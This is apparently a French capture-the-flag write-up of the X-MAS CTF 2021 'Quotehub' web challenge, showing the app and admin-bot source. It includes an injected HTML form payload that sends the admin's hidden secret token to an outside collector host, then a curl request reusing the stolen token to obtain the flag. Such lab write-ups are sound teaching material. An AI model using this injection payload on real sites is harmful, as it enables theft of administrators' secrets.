Voici mon writeup du challenge Quotehub du X-MAS CTF 2021.

Challenge description

Premier aperçu

First look

On peut voir une page avec des citations, on peut publier des citations donc regardons ça plus en profondeur.

First look submit

On peut soumettre une citation avec notre nom mais on ne peut pas voir le résultat.

Aperçu du code

On nous donne un Dockerfile, un dossier bot et un dossier files.

Dans le dossier bot on peut voir un code de bot en Python, donc c’est un challenge web-client.

Si on jette un oeil au code source on peut voir qu’il y a 3 pages accessibles sur le challenge:

  • /
  • /submit
  • /quote/latest
@app.route ('/', methods = ['GET'])
def index():
    return render_template ("index.html", quotes=quotes)


@app.route ('/submit', methods = ['GET', 'POST'])
def submit():
    if request.method == 'GET':
        return render_template ("submit.html")

    quote = request.form.get('quote')
    author = request.form.get('author')
    if not isinstance(quote, str) or not isinstance(author, str) or len(quote) > 256 or len(quote) < 8 or len(author) > 32 or len(author) < 4:
        return 'NOPE'

    quote_obj = {
        'text': quote,
        'author': author
    }
    pending_quotes.append(quote_obj)
    return render_template ("submit.html", message=f"Quote submitted successfully.")


@app.route ('/quote/latest', methods = ['GET', 'POST'])
def quote():
    global pending_quotes
    if request.method == 'GET':
        if request.cookies.get('admin_cookie', False) != ADMIN_COOKIE or len(pending_quotes) == 0:
            return 'NOPE'
        q = pending_quotes[0]
        pending_quotes = pending_quotes[1:]
        print("Admin viewing quote: ", q)
        return render_template ("quote_review.html", quote=q, SECRET_TOKEN=SECRET_TOKEN)

    action = request.form.get('action')
    secret = request.form.get('secret')
    if not isinstance(action, str) or action not in ['APPROVE', 'REJECT'] or secret != SECRET_TOKEN:
        return 'NOPE'

    if action == "REJECT":
        return redirect("/list", code=302)

    return "You did it! Here's your reward: " + FLAG

Le path /quote/latest nous est pas autorisé et retourne un NOPE parce qu’on n’a pas le cookie admin. Si on regarde bien, on peut voir que le flag est affiché si notre citation est APPROVE par quelqu’un qui a le SECRET_TOKEN donc notre but va être de voler ce token.

Exploit

Dans le code du bot on peut voir qu’il clique sur le premier bouton avec une classe “red”

while True:
	try:
		# print("get /quote/latest", flush=True)
		driver.get('http://127.0.0.1:2000/quote/latest')
		
		# print("reject button - press", flush=True)
		rejectBtn = WebDriverWait(driver, 5).until(
			EC.presence_of_element_located((By.CLASS_NAME, "red"))
		)
		rejectBtn.click()

		# print("sleep 3", flush=True)
		time.sleep(3)
	except:
		pass

On peut exploiter un clickjacking en créant un faux bouton et un faux form pour récupérer les paramètres car le SECRET_TOKEN y est par défaut.

<form method="POST">
	<input type="hidden" name="secret" value="{{SECRET_TOKEN}}">
	<input class="btn green" type="submit" name="action" value="APPROVE">
    <input class="btn red" type="submit" name="action" value="REJECT">
</form>

Notre payload sera:

<form method="POST" action="https://challenge.free.beeceptor.com"><input class="red" type="submit" name="action" value="APPROVE">

Secret token

Yeah ! On a notre secret token: 4cb386b57ea526f9d72aa2fd76f97e143f1e51174b66cfe92ef0fbb5f4a20be71cf9f1463369305278aa4502fe34461c8a0e575d4c31aa31386177a68919e65a

Pour finir on a juste à faire une requête POST sur /quote/latest avec les paramètres action et secret comme l’admin le fait.

curl -X POST -d "action=APPROVE" -d "secret=4cb386b57ea526f9d72aa2fd76f97e143f1e51174b66cfe92ef0fbb5f4a20be71cf9f1463369305278aa4502fe34461c8a0e575d4c31aa31386177a68919e65a" http://challs.xmas.htsp.ro:3007/quote/latest

Flag

Voici notre flag: X-MAS{got_teh_secret-f8ba357874717b6142e8219b}